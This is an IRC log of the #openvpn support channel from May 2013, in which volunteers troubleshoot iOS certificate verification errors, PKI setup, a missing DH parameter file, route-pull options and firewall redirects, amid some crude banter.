15:44 < pekster> That's not openvpn at all
15:44 < datruth> I see
15:44 < datruth> Openvpn Connect is openvpn-as?
15:44 < pekster> Right
15:44 < datruth> Sorry for the trouble then.
15:44 < pekster> That's closed source, commercial software that is not free to use (subject to their licensing agreement)
15:44 < pekster> np, just in the wrong place
15:45 < pekster> (though next time, read the /TOPIC a bit more carefully to avoid confusion)
15:45 < datruth> oh not free? hrmm
15:45 < pekster> Didn't bother to read the license agreement either? heh.
15:45 < pekster> IIRC there's some "trial" level, but I haven't bothered to look since I don't care
15:46 < datruth> Ok no problem at this point im not even going to worry about it anymore
15:46 < datruth> Thanks for the info tho
15:46 < pekster> If you want the actual GPL openvpn, see !download and !howto to get started
15:46 < Holister> pekster: it works... nothing has changed on my other clients, which connect just fine after restarting openvpn...seems like a bug, like the ones that are still running are cacheing the old cert for some reason
15:46 < datruth> pekster: that will work for iPad?
15:47 < pekster> Yup
15:47 < pekster> !iphone
15:47 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store or (#3) https://community.openvpn.net/openvpn/wiki/IOSinline
15:47 < pekster> (see also !android for 'droid)
15:48 < datruth> Ok then, even if I download the app from the app store (thats what I did) openvpn connect is what its called and I should be in #openvpn-as for help?
15:50 < pekster> Oh, you're connecting the iOS client to a GPL OpenVPN?
15:50 < pekster> Or trying to use Access Server / Connect stuff on your server?
15:51 < datruth> pekster: im attemping to connect my iOS device to the GPL OpenVPN yes.
15:54 < tytdfn> Oh well thanks a lot pekster!
15:54 < pekster> Ah, k. Here is probably right then, although I don't know anything about the iOS software since that's the non-free client. It would appear there's an issue verifying the server's cert chain on the client device, so double-check that the CA is the right one (best to compare full fingerprints of the one on your device verses the signature on the server's cert)
15:55 < pekster> You can actually take the CA cert from your client onto a system with openssl, copy the server cert to the same place, and use `openssl verify -CAfile ca.crt server.crt`
15:57 < Holister> pekster: pastebin.ca/2384038 with verb 4... I think it's actually a bit harder to read because it doesn't always show the src port at this verb and there's multiple clients trying to connect from the same IP :)
15:58 < datruth> I'll try that
15:59 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:00 < datruth> pekster: thats the problem
16:00 < pekster> Holister: There is no "caching" and I can assure you there is no bug with such behaviour
16:00 < datruth> the openssl commands says the certs are ok
16:00 < datruth> but when I try to connect I get the error showed on the site i pasted
16:00 < pekster> Certs are precented over the wire and the remote peer checks certs against thei own CA. If they fail, the connection is terminted by that peer that just failed to verify
16:01 < pekster> Holister: Those aren't client logs either
16:02 < Holister> pekster: then why is it the 2 clients I have access to through another network reconnected just fine once I restarted the openvpn program, but the ones I don't have access to (and thus openvpn is still running), are not able to resynchronize
16:02 < pekster> "resynchronize" ?
16:02 < Holister> pekster: no client logs because I don't have access to those machines now, otherwise I would just restart openvpn and it would connect
16:02 < pekster> !both
16:02 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
16:02 < pekster> If you don't have access to the client, I don't have any way to know why it's failing
16:02 < Holister> what other explanation do you have, these have the exact same config files on the working and non-working clients
16:03 < Holister> the ONLY difference, is restarting openvpn on the clients that are now working (did not reconnect without restarting)
16:03 < pekster> I can almost assure you that you created a new PKI and your client clients are rejecting the server cert since it doesn't match the CA you propogated before
16:03 < datruth> pekster: anyway to get around the generic PolarSSL verification check?
16:03 < Holister> it's the SAME signing CA
16:03 < Holister> I triple checked
16:03 < Holister> same exact
16:04 < pekster> So, what's stopping you from posting client logs?
16:04 < pekster> If you can check the client CA, you can check the client logs, no?
16:04 < pekster> datruth: No. That's the entire point of a VPN
16:04 < Holister> I know that they are all using the same client config file
16:05 < pekster> Well, without logs I can't help you. Come back when you have them
16:05 < pekster> Your problem is very clerly "remote end terminating connection"
16:05 < pekster> Go find out why
16:05 < Holister> right...it's a bug
16:05 < Holister> ugh
16:05 < datruth> pekster: the logs I posted doesn't provide enough information to determine what the error is and or how to go about fixing it?
16:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
16:05 < pekster> No, it's not. Not until you can demonstrate *WHY* the remote end is
16:05 < pekster> Since you can't provide logs, if you opened a bug I'd ask for logs and if I didn't get htem I'd close out your ticket with "unable to reproduce bug, not enough info given."
16:06 < Holister> I kind of did demonstrate... it was not reconnecting on the 2 machines, I restarted openvpn and it reconnected just fine
16:06 < pekster> I don't care
16:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:06 < pekster> datruth: Right. It failed to verify the remote cert chain, so I suggested you verify it yourself using what the client has as a CA and the server is presenting as a cert
16:07 < pekster> Could be a CRL according to that error, but you probably aren't using one on the client. Could be a bad signature, but then all your clients would have that issue. That leaves a verification problem
16:08 < datruth> pekster: the certs were verified with openssl
16:08 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Read error: Connection reset by peer]
16:09 < pekster> Oh, you did that check already? Then I'm not sure what to suggest. I can't troubleshoot the iOS stuff since I neither have the device nor access to the source code to learn how it works
16:10 < datruth> gotcha
16:10 <@krzee> datruth, did you use the same exact in-line file from non-ios?
16:10 < datruth> Welp so much for the mobile dream.
16:10 <@krzee> not just same certs, but same exact file
16:11 -!- mattock is now known as mattock_afk
16:11 < datruth> in-line file? are you asking if I verified the same content in the in-line file that matches the certs I want to use?
16:11 <@krzee> no, im asking if you connected from a computer with the exact same file
16:12 < datruth> Hrmm no I have not
16:12 <@krzee> not just the same certs, but the same exact file with inline everything
16:12 <@krzee> well do that
16:12 <@krzee> odds are this has 0 to do with the ios client
16:12 < datruth> Yeah good call let me give that a go
16:12 <@krzee> and we cant really ask to see your exact config cause it has your certs in it
16:12 <@krzee> but you likely fubar'ed something with your config
16:13 < pekster> (certs are public and can be swip'd on the wire anyway; it's the private keys that are the bad bits)
16:15 <@krzee> well ya, and they are in his config, and may be the problem
16:16 < pekster> Key shouldn't be: the failing cert is the CA with serial 01. No clue why that's failing verification if manually verifying client CA against the server-side cert
16:16 < pekster> But yea, testinging the percise same setup on another, more open/sane platform would be a good test
16:19 -!- hazardous [~meepo@openvpn/user/hazardous] has quit [Ping timeout: 246 seconds]
16:20 <@krzee> ahh i didnt even look at his log, i just scanned the scroll and saw your response that it was pki (thats good enough for me)
16:21 < pekster> That was my guess, but I asked for a manual verification of the client-side CA against the server-side server cert (figuring that was the issue)
16:21 < pekster> The PolarSSL error displayed by the iOS app is nearly worthless
16:27 < datruth> Ok that test lead me to something I need to research then I'll test again
16:31 <@krzee> ahh right, but hes testing the actual cert, as opposed to the inline stuff
16:31 <@krzee> my guess, the actual cert is fine, but something went wrong when changing to inline
16:35 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
17:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
17:22 < datruth> Ok I've finally completed my test
17:22 < datruth> The exact same file works on a computer
17:22 < datruth> but not hte iOS device
17:22 < datruth> giving the same error (verification)
17:28 <@krzee> weird, show me your config, but erase the tls-auth key, dh key, and private key first
17:30 < datruth> Ok
17:30 < datruth> Do you want the server config that is?
17:30 < pekster> FYI, DH isn't private (nor is it used by clients)
17:31 < datruth> Thats why I asked if thats the server config being requested
17:37 < datruth> both server and client config are located at www.dpaste.com/1202987/
17:40 -!- [fred] [fred@konfuzi.us] has quit [Remote host closed the connection]
17:40 < datruth> Does the config look ok?
17:47 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:47 < datruth> anything else I can test or check?
17:50 -!- [fred] [fred@konfuzi.us] has joined #openvpn
17:52 -!- eennaam [~laptop@unaffiliated/eennaam] has joined #openvpn
17:53 -!- Devastator [~devas@unaffiliated/devastator] has quit []
17:54 -!- gffa [~unknown@unaffiliated/gffa] has quit [Remote host closed the connection]
17:55 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
17:56 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
17:57 < datruth> Darn
17:58 < datruth> Welp folks thanks for the information
17:58 < datruth> I'm thinking maybe openvpn needs a few more years to develope the mobile stuff
17:59 < dimm0k> finally have openvpn up and running...  however i can't ping the server via the tun0 address, but i can ping the internal network the server resides on...
17:59 < dimm0k> could this be a firewall issue as well?
17:59 < datruth> dimm0k: possible anything being blocked ?
18:00 < eennaam> need to forward anything else than port 1194? 5001?
18:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:06 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
18:15 -!- tytdfn [~naked_fer@ool-457ec53d.dyn.optonline.net] has quit [Ping timeout: 252 seconds]
18:15 -!- datruth [~datruth@unaffiliated/datruth] has quit [Ping timeout: 276 seconds]
18:21 -!- master_o1_master [~master_of@p4FF24E89.dip0.t-ipconnect.de] has joined #openvpn
18:23 -!- eennaam [~laptop@unaffiliated/eennaam] has left #openvpn []
18:25 -!- master_of_master [~master_of@p4FF24B2E.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
18:32 < wjtaylor> I noticed an old config had tls-client. I didn't see this in my new config, is it still needed?
18:33 < wjtaylor> My new config has tls-auth ta.key 1
18:39 < pekster> wjtaylor: --tls-client is always needed if you're a client performing TLS authentication. Note that it is implied by --client
18:42 < wjtaylor> pekster: do I need tls-server or is that implied as well?
18:42 < pekster> See the expansion of both --client and --server in the manpage. They're both "helper-directives" which imply lots of stuff
18:43 < pekster> It's also possible to build a config without any of the helper stuff and define it all yourself
18:44 < wjtaylor> ok. that make sense... I wouldn't know where to begin with the detailed settings...
18:44 < wjtaylor> do you have a background in crypto?
18:44 < pekster> No real point unless you need to change the defaults you get with the helper directives, but it's all explained in the manpage
18:45 < pekster> I have a wide background; much of networking requires it
18:45 < wjtaylor> pekster: well... my motivation is a bit more practical... looking at a career change and I have a background it math, so crypto seemed fun... it's a big change of careers though
18:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 276 seconds]
18:46 < pekster> It can be; the design of crypto sits between math and programming
19:12 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Remote host closed the connection]
19:13 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
19:17 -!- wjtaylor [~wjtaylor@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Quit: Leaving]
19:21 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Remote host closed the connection]
19:22 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
19:25 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Client Quit]
19:26 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
19:29 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
19:31 -!- chamunks [~chamunks@206-248-172-199.dsl.teksavvy.com] has quit [Read error: Connection reset by peer]
19:31 < dimm0k> i should be issuing a client cert for each individual clients correct?  do i just list them in server.conf?
19:34 <@krzee> !pki
19:34 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
19:34 <@vpnHelper> signed specially as a server (see !servercert)
19:34 <@krzee> you do make one per clienty
19:35 <@krzee> and check out #2 for a better understanding
19:35 <@krzee> 9and #1 for example)
19:35 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Remote host closed the connection]
19:36 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
19:56 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Remote host closed the connection]
19:57 -!- raidz is now known as raidz_away
20:16 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
21:34 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
21:36 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
21:36 -!- mode/#openvpn [+o krzee] by ChanServ
22:06 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
22:07 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
22:20 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
22:20 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
22:24 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
22:26 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Quit: Off the grid]
22:28 < Holister> I have a file with 70 certs in it and I need to see the subject/expiration of all of the certs, but 'openssl x509 -subject -enddate -in certfile.txt' stops after displaying the first cert... how do I get it to show all of them?
22:30 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
22:31 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
22:32 <@krzee> i would ask this in #openssl too
22:33 < Holister> yeah oddly can't find any easy results googling... it should be an easy/common sed/awk command
22:34 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
22:36 < Holister> the worst part is, I did a bunch of crap to get it down to a file with 70 certs in it...my goal was to avoid writing a full-fledged script that selects the certs out of the database and decodes them one-by-one... AGH
22:36 <@krzee> why are there 70 certs in a file?
22:37 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
22:41 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:43 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
22:44 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
22:45 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
22:55 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
23:05 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has left #openvpn []
23:06 < EugeneKay> Wat
23:06 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
23:13 < Holister> hah... my clients eventually came back online with no intervention... it *IS* a bug... now how to file it?
23:13 -!- ducky [~ducky@ec2-23-20-97-69.compute-1.amazonaws.com] has left #openvpn []
23:21 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
23:22 < pekster> Without knowing why the clients failed, you don't. Stop trying to say it's a bug until you have a reproducable set of *properly* documented configs and logs
23:23 < pekster> "I like to complain a lot when I didn't bother to read !welcome in IRC and the free support I got sucked" isn't a valid bugreport. For all I know your Internet connection was down between client & server then.
23:24 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
23:24 < pekster> Causation != Causality
23:25 < pekster> s/Causation/Correlation/
23:28 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
23:28 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: Lost terminal]
23:32 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:34 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
--- Day changed Wed May 29 2013
00:11 < Holister> well the config files match (matched md5s of the conf and cert files), so the only explanation that fits so far is that it was still trying to use the old cert for some reason. Network connectivity doesn't fit because it was connecting to the server and the client side was resetting the connection. The clients don't have any logging since they are on an embedded board with a small NAND root, so the only way to be 100% sure would 
01:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:34 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
01:41 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:56 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
01:58 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 240 seconds]
01:59 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
02:00 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
02:00 -!- mode/#openvpn [+o krzee] by ChanServ
02:04 -!- mattock_afk is now known as mattock
02:09 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
02:12 -!- tore_ [~tore@login.redpill-linpro.com] has left #openvpn []
02:57 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
03:01 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
03:06 -!- Inst [~Sun@unaffiliated/inst] has joined #openvpn
03:07 < Inst> hi
03:07 < Inst> i'm wondering if i can get some help with performance issues with Openvpn
03:07 < Inst> I benchmarked it, and the connectio on my server was ~10mbps, the connection between my server and client was ~3 mbps, and the VPN connection is approximately 40 mbps
03:07 < Inst> erm, 40 kbps
03:07 < Inst> what is going on?
03:09 -!- baobeiiiii [~baobeiiii@180.154.233.155] has joined #openvpn
03:10 < baobeiiiii> hi, my vpn keeps stopping working about 1 minute after connection, my openvpn.log on the server has this message repeated hundreds of times:
03:10 < baobeiiiii> Wed May 29 04:09:50 2013 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
03:14 < Tera> baobeiiiii: That error means that the server you're client was trying to connect to said like "there's no service listening to that port"
03:14 < Tera> so it could be that the OpenVPN server is crashing or not working correctly. or it's a faulty firewall somewhere.
03:14 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:16 < baobeiiiii> Tera, thanks
03:20 < baobeiiiii> will try firewall troubleshooting first
03:22 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 264 seconds]
03:22 < baobeiiiii> appears ok now
03:22 < baobeiiiii> got rid of
03:22 < baobeiiiii> iptables -t nat -A PREROUTING -p udp --dport 16000:19000 -j REDIRECT --to-port 1194
03:22 < baobeiiiii> from firewall
03:22 < baobeiiiii> and just use a single port now
03:25 < baobeiiiii> no more errors in log :)
03:25 < baobeiiiii> except Wed May 29 04:21:34 2013 client2/180.154.233.155:59526 IPv6 in tun mode is not supported in OpenVPN 2.2
03:45 -!- bitg [bitg@gateway/shell/xzibition.com/x-mzfrttcjwducaoee] has quit [Ping timeout: 260 seconds]
03:48 -!- bitg [bitg@gateway/shell/xzibition.com/x-ysymfghupnoonsuh] has joined #openvpn
03:48 -!- bitg [bitg@gateway/shell/xzibition.com/x-ysymfghupnoonsuh] has quit [Changing host]
03:48 -!- bitg [bitg@unaffiliated/bitg] has joined #openvpn
03:48 -!- bitg [bitg@unaffiliated/bitg] has quit [Changing host]
03:48 -!- bitg [bitg@gateway/shell/xzibition.com/x-ysymfghupnoonsuh] has joined #openvpn
03:52 -!- dvl-- [~dan@nyi.unixathome.org] has joined #openvpn
03:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
03:53 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 264 seconds]
03:56 -!- gegheo [~gegheo@unaffiliated/gegheo] has quit [Quit: Sto andando via]
03:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:25 -!- baobeiiiii [~baobeiiii@180.154.233.155] has quit [Quit: Leaving]
04:32 < takamichi> Is is possible in the client config to block the 'redirect-gateway def1' directive so that it can manually configure which traffic to route through the VPN?
04:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
04:42 < EugeneKay> !nopull
04:43 < EugeneKay> Hrm.
04:43 < EugeneKay> Well, he's gone anyway. Fuck 'im.
04:43 < cnf> anoying isn't it?
04:43 < cnf> people that can;t even bother to wait a few minutes for an answer
04:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:43 < EugeneKay> Not really.
04:43 < EugeneKay> I just drink more.
04:43 < cnf> oh, he's back :P
04:43 <@plaisthos> takamichi: route-no-pull iirc
04:43 < EugeneKay> Surprise.
04:43  * cnf hands EugeneKay a beer
04:44  * EugeneKay flails mercilessly for a bottle opener
04:44 < cnf> o,O
04:44 < cnf> use a table
04:44 < cnf> or a lighter
04:44 < cnf> or another bottle of beer
04:44 < EugeneKay> I'll use my ANUS.
04:45 < cnf> painful, but sure
04:45 < takamichi> @plaisthos: cheers, much appreciated.
05:27 -!- dioz_ [~dioz@2001:470:d:e3::1] has joined #openvpn
05:28 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
05:31 -!- lmm_ is now known as lmm
05:32 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:43 -!- Guest75237 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
05:43 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
05:59 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:05 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-cmsurlrbndlwvyta] has quit [Ping timeout: 248 seconds]
06:23 -!- kirin` [telex@gateway/shell/anapnea.net/x-ddtxsuptbxwwmgkl] has joined #openvpn
06:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
06:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:34 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
06:46 -!- Poster|w- [poster@gateway/shell/bshellz.net/x-yqzqnvglfbamdqen] has quit [Ping timeout: 256 seconds]
08:05 -!- dioz_ is now known as dioz
08:11 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
08:14 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:21 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
08:38 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
08:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:44 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
09:33 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:35 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 248 seconds]
09:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 276 seconds]
09:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:49 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:51 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:55 -!- Poster|x is now known as Poster
10:03 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 260 seconds]
10:14 -!- raidz_away is now known as raidz
10:28 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:29 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
10:34 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
10:41 -!- hanfm [~Thunderbi@x2f4936f.dyn.telefonica.de] has joined #openvpn
10:49 < hanfm> helllo
10:49 < hanfm> i have a problem setting up an openvpn on debian 6
10:49 < hanfm> this is my
10:49 < hanfm> syslog
10:50 < hanfm> ok wait
10:53 < hanfm> this appears in /var/log/syslog when i try to start /etc/init.d/openvpn
10:53 < hanfm> May 29 17:48:43 debianserver ovpn-server[1281]: OpenVPN 2.1.3 x86_64-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Feb 21 2012
10:53 < hanfm> May 29 17:48:43 debianserver ovpn-server[1281]: NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables
10:53 < hanfm> May 29 17:48:43 debianserver ovpn-server[1281]: Cannot open /etc/openvpn/easy-rsa/keys/dh1024.pem for DH parameters: error:02001002:system library:fopen:No such file or directory: error:2006D080:BIO routines:BIO_new_file:no such file
10:53 < hanfm> May 29 17:48:43 debianserver ovpn-server[1281]: Exiting
10:54 < hanfm> for configuration, i followed the instructions on http://openvpn.net/index.php/open-source/documentation/howto.html
10:54 <@vpnHelper> Title: HOWTO (at openvpn.net)
10:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
10:56 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
11:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
11:04 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:05 < hanfm> this is my ls -l in /etc/openvpn/easy-rsa/keys
11:05 < hanfm> -rw-r--r-- 1 root root 5631 28. Mai 14:42 01.pem
11:05 < hanfm> -rw-r--r-- 1 root root 5511 28. Mai 14:43 02.pem
11:05 < hanfm> -rw-r--r-- 1 root root 5511 28. Mai 14:43 03.pem
11:05 < hanfm> -rw-r--r-- 1 root root 5511 28. Mai 14:43 04.pem
11:05 < hanfm> -rw-r--r-- 1 root root 1814 28. Mai 14:42 ca.crt
11:05 < hanfm> -rw------- 1 root root 1679 28. Mai 14:42 ca.key
11:05 < hanfm> -rw-r--r-- 1 root root 5511 28. Mai 14:43 client1.crt
11:05 < hanfm> -rw-r--r-- 1 root root 1106 28. Mai 14:43 client1.csr
11:05 < hanfm> -rw------- 1 root root 1675 28. Mai 14:43 client1.key
11:05 < hanfm> -rw-r--r-- 1 root root 5511 28. Mai 14:43 client2.crt
11:05 < hanfm> -rw-r--r-- 1 root root 1106 28. Mai 14:43 client2.csr
11:05 < hanfm> -rw------- 1 root root 1679 28. Mai 14:43 client2.key
11:05 < hanfm> -rw-r--r-- 1 root root 5511 28. Mai 14:43 client3.crt
11:05 < hanfm> -rw-r--r-- 1 root root 1106 28. Mai 14:43 client3.csr
11:05 < hanfm> -rw------- 1 root root 1675 28. Mai 14:43 client3.key
11:06 < sc_> what the fuck
11:06 < sc_> http://pastebin.com/
11:08 -!- raidz is now known as raidz_away
11:08 < hanfm> i found my error by my self
11:09 < hanfm> my server.conf had a bug
11:09 < [fred]> and what was your error ?
11:09 -!- raidz_away is now known as raidz
11:09 < hanfm> the server.conf pointed to a dh1024.pem, but i created a dh2048.pem
11:10 < hanfm> now, the openvpn came up
11:11 < hanfm> i am out
11:11 < hanfm> bye
11:11 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 248 seconds]
11:11 < kisom> Some people need a license to the on the internet.
11:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:25 < takamichi> Is it possible to pass a value from the server to the client as a result of the client-connect script running on the server?
11:38 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
11:38 < pekster> takamichi: Yes, anything --client-connect writes to $1 (a temp file passed to the script) is marshaled back to the client in the same way a ccd file would be
11:39 < takamichi> pekster: thanks, I'll look further into that.
12:08 <@krzee> !repo
12:08 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
12:08 <@krzee> thanks vpnHelper
12:28 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
12:28 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
12:28 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:35 -!- laner [~Lane@24.51.142.38] has joined #openvpn
12:42 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
12:44 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:49 -!- Varazir_ [~mircwars@c-94-255-133-62.cust.bredband2.com] has joined #openvpn
12:49 -!- Varazir [~mircwars@c-94-255-133-62.cust.bredband2.com] has quit [Read error: Connection reset by peer]
12:56 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
13:16 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k965.webspeed.dk] has joined #openvpn
13:17 -!- Klownicle [~Klownicle@pool-71-99-207-173.tampfl.fios.verizon.net] has quit []
13:44 -!- hanfm [~Thunderbi@x2f4936f.dyn.telefonica.de] has quit [Quit: hanfm]
13:48 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
13:51 -!- Aster [~Sarah@april-fools/ninth/aster] has left #openvpn ["Potatoes."]
14:02 -!- flobro [~silence@c-24-19-113-90.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
14:07 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
